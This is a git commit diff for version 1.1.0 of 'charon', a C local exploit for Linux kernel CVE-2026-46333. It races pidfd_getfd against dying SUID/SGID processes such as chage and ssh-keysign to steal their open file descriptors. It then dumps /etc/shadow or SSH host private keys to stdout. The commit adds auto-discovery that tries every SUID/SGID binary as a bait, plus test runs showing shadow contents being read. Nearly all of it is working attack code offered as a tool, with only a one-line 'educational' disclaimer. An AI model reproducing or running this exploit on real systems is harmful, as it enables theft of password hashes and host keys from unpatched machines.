v1.1.0 — auto-discovery + --list-baits + ANSI Shadow banner

* New --auto flag: walk /usr/bin, /usr/sbin, /usr/local/{bin,sbin},
  /usr/lib/openssh, /usr/libexec, /bin, /sbin; try every SUID/SGID
  regular file as a bait against the requested target. Skips
  known-interactive baits (su, sudo, newgrp, pkexec, mount, …).
  Per-bait budget capped (5 rounds × 2000 inner) + 60s wall clock,
  so a full scan finishes in ~10s even on systems where no bait
  opens the requested file.

* New --list-baits flag: enumerate built-in + discoverable bait
  candidates without firing the exploit. Useful for distro surveys.

* SIGKILL daemonic baits (ssh-agent etc.) instead of waiting
  forever in waitpid().

* Accept SGID-shadow baits, not just SUID-root — chage on
  Debian/Ubuntu is mode 2755 not 4755 and we kept skipping it.

* Banner upgraded to ANSI Shadow block letters with a Styx wave
  motif beneath the version line.

* Cleaner diagnostics: distinguish "primitive fires but no bait
  opens this file" from "kernel patched (no pidfd_getfd success)".

Tested on Debian 13 / kernel 6.12.88-kctf-poc:
- default run hits /etc/shadow in 1 fork (~160 tries, <1s)
- --auto on /etc/sudoers correctly times out in 11s with diagnostic
- --quiet pipes 35 lines of pure shadow to stdout
- --verbose shows per-hit + final stats
- --list-baits enumerates 26 candidates incl. /usr/bin/chage
This commit is contained in:
2026-05-15 23:33:59 -04:00
parent a0d7d0b75b
commit 95b37066df
3 changed files with 309 additions and 101 deletions
+16 -1
View File
@@ -101,10 +101,25 @@ Output: a single ELF `./charon`.
./charon -q # no banner / progress, just shadow on stdout ./charon -q # no banner / progress, just shadow on stdout
./charon -v # show per-hit + final stats ./charon -v # show per-hit + final stats
./charon -r 5000 # more patience for slow systems ./charon -r 5000 # more patience for slow systems
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure) ./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait)
./charon -a # auto-discover SUID/SGID baits if built-ins miss
./charon -L # list candidate baits without trying any
./charon --help ./charon --help
``` ```
### Auto-discovery
`--auto` walks `/usr/bin`, `/usr/sbin`, `/usr/local/{bin,sbin}`,
`/usr/lib/openssh`, `/usr/libexec`, `/bin`, `/sbin`, finds every
SUID/SGID regular file (excluding interactive baits like `su`,
`sudo`, `newgrp`, `pkexec`), and tries each as a bait against the
requested target. Per-bait budget is tight (5 rounds × 2000 inner)
so a full scan finishes in ~10 seconds even when nothing matches.
`--list-baits` is the read-only version — it enumerates the same
candidates without firing the exploit. Useful for surveying which
distros ship which baits.
### Exit codes ### Exit codes
| Code | Meaning | | Code | Meaning |
BIN
View File
Binary file not shown.
+293 -100
View File
@@ -1,17 +1,17 @@
/* /*
* ____ _ _ _ ____ ___ _ _ * ██████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗
* / ___|| | | | / \ | _ \ / _ \| \ | | * ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗████╗ ██║
* | | | |_| | / _ \ | |_) | | | | \| | * ██║ ███████║███████║██████╔╝██║ ██║██╔██╗ ██║
* | |___ | _ |/ ___ \| _ <| |_| | |\ | * ██║ ██╔══██║██╔══██║██╔══██╗██║ ██║██║╚██╗██║
* \____||_| |_/_/ \_\_| \_\\___/|_| \_| * ╚██████╗██║ ██║██║ ██║██║ ██║╚██████╔╝██║ ╚████║
* * ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
* ferries file descriptors across the exit-mm() Styx * ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~
* CVE-2026-46333 / Linux <= 6.12.89 * CVE-2026-46333 / Linux <= 6.12.89
* *
* "It is a fearful thing to fall into the hands of the living God." * "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31 * — Hebrews 10:31
* *
* Charon races pidfd_getfd(2) against a dying SUID-root process to * Charon races pidfd_getfd(2) against a dying SUID/SGID process to
* lift its open /etc/shadow file descriptor through the transient * lift its open /etc/shadow file descriptor through the transient
* mm-NULL window in do_exit(): * mm-NULL window in do_exit():
* *
@@ -21,16 +21,17 @@
* └── exit_files() ← fd table reaped * └── exit_files() ← fd table reaped
* *
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread, * The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
* never dumpable" and short-circuits the dumpable check. The dying * never dumpable" and short-circuits the dumpable check. A dying
* userspace SUID process is briefly indistinguishable from a kernel * userspace SUID/SGID process is briefly indistinguishable from a
* thread in that test, so pidfd_getfd(2) succeeds against it and * kernel thread in that test, so pidfd_getfd(2) succeeds against it
* returns whatever fds it still has open before exit_files() runs. * and returns whatever fds it still has open before exit_files() runs.
* *
* If the SUID binary opened /etc/shadow and then setreuid'd to the * If the bait binary opened /etc/shadow and then setreuid'd to the
* attacker uid before exiting, Charon walks home with the fd. * attacker uid before exiting, Charon walks home with the fd.
* *
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14) * Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
* Disclosure: Qualys → oss-security 2026-05-15 * Disclosure: Qualys → oss-security 2026-05-15
*
* Educational and authorized-defensive use only. * Educational and authorized-defensive use only.
*/ */
#define _GNU_SOURCE #define _GNU_SOURCE
@@ -41,10 +42,12 @@
#include <unistd.h> #include <unistd.h>
#include <errno.h> #include <errno.h>
#include <fcntl.h> #include <fcntl.h>
#include <dirent.h>
#include <signal.h>
#include <time.h>
#include <sys/syscall.h> #include <sys/syscall.h>
#include <sys/wait.h> #include <sys/wait.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <time.h>
#include <getopt.h> #include <getopt.h>
#ifndef __NR_pidfd_open #ifndef __NR_pidfd_open
@@ -54,55 +57,114 @@
#define __NR_pidfd_getfd 438 #define __NR_pidfd_getfd 438
#endif #endif
#define CHARON_VERSION "1.0.0" #define CHARON_VERSION "1.1.0"
static const char BANNER[] = static const char BANNER[] =
"\n" "\n"
" ____ _ _ _ ____ ___ _ _\n" " \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"| | | |_| | / _ \\ | |_) | | | | \\| |\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n"
"\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
" ferries fds across the exit-mm() Styx\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
" CVE-2026-46333 / Linux <= 6.12.89\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d "
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d "
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n"
" ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n"
" CVE-2026-46333 / Linux <= 6.12.89\n"
"\n"; "\n";
/* A lure is a SUID-root binary that opens FILE before dropping uid /* A bait is a SUID/SGID binary that opens FILE before dropping creds
* and exiting. invoking ARGV makes it open FILE deterministically. */ * and exiting. ARGV makes it open FILE deterministically. */
struct lure { struct bait {
const char *path; const char *path;
const char *file; const char *file;
const char *const argv[5]; const char *args[6]; /* argv terminated by NULL */
}; };
static const struct lure lures[] = { static const struct bait builtin_baits[] = {
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu; /* chage -l <user> opens /etc/shadow on Debian/Ubuntu (SGID-shadow)
* via SUID-root on RHEL family. Either way we ride the elevation. */ * and on RHEL family (SUID-root). Either way the dumpable=0 flag
* is set on the dying process — the bug bypasses the check. */
{ "/usr/bin/chage", "/etc/shadow", { "/usr/bin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } }, { "chage", "-l", "root", NULL } },
{ "/usr/sbin/chage", "/etc/shadow", { "/usr/sbin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } }, { "chage", "-l", "root", NULL } },
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
* is enabled; newer builds bail early but still open the file first. */ /* ssh-keysign opens the host private keys when invoked even with
* no args (it bails after the open if HostbasedAuthentication is
* off, but we only need it to OPEN the file). */
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
{ "ssh-keysign", NULL } }, { "ssh-keysign", NULL } },
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key", { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
{ "ssh-keysign", NULL } }, { "ssh-keysign", NULL } },
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key",
{ "ssh-keysign", NULL } },
{ "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
{ "ssh-keysign", NULL } },
{ NULL, NULL, { NULL } } { NULL, NULL, { NULL } }
}; };
/* Auto-discovery search roots and the SUID/SGID names we refuse to
* invoke (would prompt for input, hang waiting, or mutate state). */
static const char *const auto_search_roots[] = {
"/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin",
"/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh",
"/bin", "/sbin", NULL
};
static const char *const auto_skip_names[] = {
"su", "sudo", "doas", "pkexec", "newgrp",
"mount", "umount", "fusermount", "fusermount3",
"ping", "ping6", "traceroute", "traceroute6",
NULL
};
/* Argv patterns we try against each auto-discovered binary. */
static const char *const auto_arg_patterns[][4] = {
{ "-l", "root", NULL }, /* chage / passwd -l root */
{ "-S", "root", NULL }, /* passwd -S root */
{ "--version", NULL }, /* most tools, fast + safe */
{ NULL }, /* no args (some tools open files on startup) */
};
/* CLI state */ /* CLI state */
static const char *opt_target = NULL; static const char *opt_target = NULL;
static int opt_quiet = 0; static int opt_quiet = 0;
static int opt_verbose = 0; static int opt_verbose = 0;
static int opt_rounds = 500; static int opt_rounds = 500;
static int opt_inner = 30000; static int opt_inner = 30000;
static int opt_auto = 0;
static int opt_list = 0;
/* Stats spanning all hunt() invocations. */
static unsigned long stat_forks = 0; static unsigned long stat_forks = 0;
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */ static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */
static unsigned long stat_target_hits = 0; /* matched want_file */ static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */
static void static void
msg(const char *prefix, const char *fmt, ...) msg(const char *prefix, const char *fmt, ...)
@@ -123,37 +185,32 @@ dump_fd(int fd)
char buf[8192]; char buf[8192];
ssize_t n; ssize_t n;
lseek(fd, 0, SEEK_SET); lseek(fd, 0, SEEK_SET);
while ((n = read(fd, buf, sizeof(buf))) > 0) { while ((n = read(fd, buf, sizeof(buf))) > 0)
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1;
return -1;
}
fflush(stdout); fflush(stdout);
return n < 0 ? -1 : 0; return n < 0 ? -1 : 0;
} }
static int static int
lure_present(const struct lure *l) bait_present(const char *path)
{ {
struct stat st; struct stat st;
if (stat(l->path, &st) != 0) return 0; if (stat(path, &st) != 0) return 0;
/* Accept SUID-anything OR SGID-anything — both trigger the if (!S_ISREG(st.st_mode)) return 0;
* dumpable flag in execve which is exactly the protection that
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
* shadow (not SUID root); on RHEL family chage is SUID root. */
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0; if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
return 1; return 1;
} }
/* Returns 0 on success (file contents on stdout). Negative codes: /* Returns:
* -ENOENT lure binary missing / no setuid|setgid * 0 success — file contents on stdout
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file * -ENOENT bait not present / lacks setuid|setgid
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */ * -ETIME primitive fired but target file wasn't in the fd table
* -EPERM pidfd_getfd never succeeded — kernel likely patched
*/
static int static int
hunt(const struct lure *l, const char *want_file) hunt(const char *path, const char *want_file, const char *const argv[])
{ {
if (!lure_present(l)) return -ENOENT; if (!bait_present(path)) return -ENOENT;
msg("[*]", "lure %s target %s", l->path, want_file);
unsigned long getfd_ok_before = stat_getfd_ok; unsigned long getfd_ok_before = stat_getfd_ok;
@@ -164,7 +221,7 @@ hunt(const struct lure *l, const char *want_file)
if (c == 0) { if (c == 0) {
int dn = open("/dev/null", O_RDWR); int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); } if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
execv(l->path, (char *const *)l->argv); execv(path, (char *const *)argv);
_exit(127); _exit(127);
} }
@@ -174,23 +231,20 @@ hunt(const struct lure *l, const char *want_file)
if (pfd < 0) { waitpid(c, NULL, 0); continue; } if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1; int got = -1;
for (int a = 0; a < opt_inner && got < 0; a++) { for (int a = 0; a < opt_inner && got < 0; a++) {
for (int i = 3; i < 32; i++) { for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0); int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
stat_getfds++; stat_getfds++;
if (s < 0) continue; if (s < 0) continue;
stat_getfd_ok++;
stat_getfd_ok++; /* the bug worked at least at the syscall level */
char p[512] = {0}, lk[64]; char p[512] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1); ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0; if (n > 0) p[n] = 0;
if (strstr(p, want_file)) { if (strstr(p, want_file)) {
if (opt_verbose) if (opt_verbose)
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a); msg("[+]", "hit fd %d -> %s round=%d try=%d",
i, p, round, a);
got = s; got = s;
break; break;
} }
@@ -203,21 +257,131 @@ hunt(const struct lure *l, const char *want_file)
int rc = dump_fd(got); int rc = dump_fd(got);
close(got); close(got);
close(pfd); close(pfd);
kill(c, SIGKILL);
waitpid(c, NULL, 0); waitpid(c, NULL, 0);
if (opt_verbose) if (opt_verbose)
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits", msg("[#]",
"stats: %lu forks, %lu getfds (%lu ok), %lu target hits",
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits); stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
return rc; return rc;
} }
close(pfd); close(pfd);
/* Some baits (ssh-agent, daemons) won't exit on their own —
* force them so waitpid doesn't block this whole hunt. */
kill(c, SIGKILL);
waitpid(c, NULL, 0); waitpid(c, NULL, 0);
} }
/* If pidfd_getfd never succeeded against this lure, the primitive if (stat_getfd_ok == getfd_ok_before) return -EPERM;
* is closed for this binary — likely a patched kernel. */ return -ETIME;
if (stat_getfd_ok == getfd_ok_before) }
return -EPERM;
/* Walk standard SUID/SGID roots and try each binary as a bait.
* Uses an aggressive per-bait round budget (auto_rounds) so a full
* sweep finishes in seconds even when nothing matches. */
static int
auto_discover(const char *want_file, int just_list)
{
int discovered = 0, attempted = 0, primitive_worked = 0;
/* Save user-set values; restore on exit. */
int saved_rounds = opt_rounds;
int saved_inner = opt_inner;
if (!just_list) {
/* Per-bait budget for auto mode: keep tight so the sweep is fast.
* Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */
if (opt_rounds > 5) opt_rounds = 5;
if (opt_inner > 2000) opt_inner = 2000;
}
time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */
for (const char *const *root = auto_search_roots; *root; root++) {
DIR *d = opendir(*root);
if (!d) continue;
struct dirent *e;
while ((e = readdir(d)) != NULL) {
if (e->d_name[0] == '.') continue;
char path[512];
int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name);
if (n < 0 || n >= (int)sizeof(path)) continue;
struct stat st;
if (lstat(path, &st) != 0) continue;
if (!S_ISREG(st.st_mode)) continue;
if (!(st.st_mode & (S_ISUID | S_ISGID))) continue;
int skip = 0;
for (const char *const *s = auto_skip_names; *s; s++)
if (!strcmp(e->d_name, *s)) { skip = 1; break; }
if (skip) continue;
discovered++;
if (just_list) {
printf(" %s (mode %04o, %s)\n",
path, st.st_mode & 07777,
(st.st_mode & S_ISUID) ? "SUID" : "SGID");
continue;
}
for (size_t ai = 0;
ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0];
ai++) {
const char *argv[6] = { e->d_name };
int k = 1;
for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++)
argv[k++] = auto_arg_patterns[ai][x];
argv[k] = NULL;
if (opt_verbose) {
char arghint[64] = "";
for (int x = 1; argv[x] && x < 5; x++) {
strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1);
strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1);
}
msg("[auto]", "trying %s%s", path, arghint);
}
attempted++;
int rc = hunt(path, want_file, argv);
if (rc == 0) {
msg("[+]", "auto-discovered working bait: %s", path);
closedir(d);
opt_rounds = saved_rounds;
opt_inner = saved_inner;
return 0;
}
if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1;
if (time(NULL) > auto_deadline) {
msg("[!]", "60s auto-scan budget exhausted (%d baits tried)",
attempted);
closedir(d);
goto auto_done;
}
}
}
closedir(d);
}
auto_done:;
/* Restore user budgets. */
opt_rounds = saved_rounds;
opt_inner = saved_inner;
if (just_list) {
fprintf(stderr,
"\n discovered %d SUID/SGID binaries in standard roots\n"
" (use --auto to try each as a bait for %s)\n",
discovered, want_file ? want_file : "/etc/shadow");
return 0;
}
if (opt_verbose)
msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits",
attempted, stat_getfd_ok, stat_target_hits);
if (!primitive_worked && stat_getfd_ok == 0) return -EPERM;
return -ETIME; return -ETIME;
} }
@@ -229,9 +393,11 @@ usage(const char *prog)
"\n" "\n"
"Usage: %s [options]\n" "Usage: %s [options]\n"
"\n" "\n"
" -t, --target FILE file to read (default: /etc/shadow)\n" " -t, --target FILE file to read (default: /etc/shadow)\n"
" -r, --rounds N max rounds per lure (default: 500)\n" " -r, --rounds N max rounds per bait (default: 500)\n"
" -i, --inner N inner getfd attempts per round (default: 30000)\n" " -i, --inner N inner getfd attempts (default: 30000)\n"
" -a, --auto if built-in baits fail, scan SUID/SGID dirs\n"
" -L, --list-baits enumerate candidate baits and exit\n"
" -q, --quiet no banner, no progress\n" " -q, --quiet no banner, no progress\n"
" -v, --verbose per-hit + final stats\n" " -v, --verbose per-hit + final stats\n"
" --version print version and exit\n" " --version print version and exit\n"
@@ -239,7 +405,7 @@ usage(const char *prog)
"\n" "\n"
"Exit codes:\n" "Exit codes:\n"
" 0 success — file contents on stdout\n" " 0 success — file contents on stdout\n"
" 1 no built-in lure on this system opens the requested file\n" " 1 no bait on this system opens the requested file\n"
" 2 kernel appears patched (CVE-2026-46333 closed)\n" " 2 kernel appears patched (CVE-2026-46333 closed)\n"
" 3 ran out of rounds without a hit (transient — try -r 5000)\n" " 3 ran out of rounds without a hit (transient — try -r 5000)\n"
" 4 CLI / IO error\n" " 4 CLI / IO error\n"
@@ -252,24 +418,28 @@ int
main(int argc, char **argv) main(int argc, char **argv)
{ {
static const struct option opts[] = { static const struct option opts[] = {
{"target", required_argument, 0, 't'}, {"target", required_argument, 0, 't'},
{"rounds", required_argument, 0, 'r'}, {"rounds", required_argument, 0, 'r'},
{"inner", required_argument, 0, 'i'}, {"inner", required_argument, 0, 'i'},
{"quiet", no_argument, 0, 'q'}, {"auto", no_argument, 0, 'a'},
{"verbose", no_argument, 0, 'v'}, {"list-baits", no_argument, 0, 'L'},
{"version", no_argument, 0, 1 }, {"quiet", no_argument, 0, 'q'},
{"help", no_argument, 0, 'h'}, {"verbose", no_argument, 0, 'v'},
{"version", no_argument, 0, 1 },
{"help", no_argument, 0, 'h'},
{0,0,0,0} {0,0,0,0}
}; };
int o; int o;
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) { while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) {
switch (o) { switch (o) {
case 't': opt_target = optarg; break; case 't': opt_target = optarg; break;
case 'r': opt_rounds = atoi(optarg); break; case 'r': opt_rounds = atoi(optarg); break;
case 'i': opt_inner = atoi(optarg); break; case 'i': opt_inner = atoi(optarg); break;
case 'q': opt_quiet = 1; break; case 'a': opt_auto = 1; break;
case 'v': opt_verbose = 1; break; case 'L': opt_list = 1; break;
case 'q': opt_quiet = 1; break;
case 'v': opt_verbose = 1; break;
case 1 : printf("charon %s\n", CHARON_VERSION); return 0; case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
case 'h': usage(argv[0]); return 0; case 'h': usage(argv[0]); return 0;
default : usage(argv[0]); return 4; default : usage(argv[0]); return 4;
@@ -278,34 +448,57 @@ main(int argc, char **argv)
if (!opt_target) opt_target = "/etc/shadow"; if (!opt_target) opt_target = "/etc/shadow";
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; } if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
if (!opt_quiet) fputs(BANNER, stderr); if (!opt_quiet && !opt_list) fputs(BANNER, stderr);
/* Iterate lures whose `file` matches what the user asked for. */ if (opt_list) {
int any_present = 0, all_appear_patched = 1; fprintf(stderr, " built-in baits for %s:\n", opt_target);
for (const struct lure *l = lures; l->path; l++) { int builtin_count = 0;
if (strcmp(l->file, opt_target) != 0) continue; for (const struct bait *b = builtin_baits; b->path; b++) {
if (!lure_present(l)) continue; if (strcmp(b->file, opt_target) != 0) continue;
any_present = 1; const char *status = bait_present(b->path) ? "OK" : "MISSING";
fprintf(stderr, " [%s] %s\n", status, b->path);
int rc = hunt(l, opt_target); builtin_count++;
if (rc == 0) return 0; }
if (rc != -EPERM) all_appear_patched = 0; if (!builtin_count) fprintf(stderr, " (none — try --auto)\n");
fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n");
return auto_discover(opt_target, /*just_list=*/1);
} }
if (!any_present) { /* Phase 1: try built-in baits whose file matches the request. */
msg("[!]", "no built-in lure on this system opens %s", opt_target); int any_present = 0, all_patched = 1;
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign"); for (const struct bait *b = builtin_baits; b->path; b++) {
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros"); if (strcmp(b->file, opt_target) != 0) continue;
if (!bait_present(b->path)) continue;
any_present = 1;
msg("[*]", "bait %s target %s", b->path, opt_target);
int rc = hunt(b->path, opt_target, b->args);
if (rc == 0) return 0;
if (rc != -EPERM) all_patched = 0;
}
/* Phase 2: auto-discover if asked, OR if no built-in bait matched. */
if (opt_auto || !any_present) {
if (opt_auto)
msg("[*]", "built-in baits exhausted, auto-discovering...");
else
msg("[*]", "no built-in bait opens %s, trying --auto", opt_target);
int rc = auto_discover(opt_target, /*just_list=*/0);
if (rc == 0) return 0;
if (rc != -EPERM) all_patched = 0;
}
if (!any_present && !opt_auto) {
msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target);
return 1; return 1;
} }
if (all_appear_patched && stat_getfd_ok == 0) { if (all_patched && stat_getfd_ok == 0) {
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded", msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded",
stat_getfds, stat_forks); stat_getfds, stat_forks);
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)"); msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
return 2; return 2;
} }
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s", msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
stat_getfd_ok, opt_target); stat_getfd_ok, opt_target);
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>"); msg("[!]", "try -r 5000, -t <other file>, or --auto");
return 3; return 3;
} }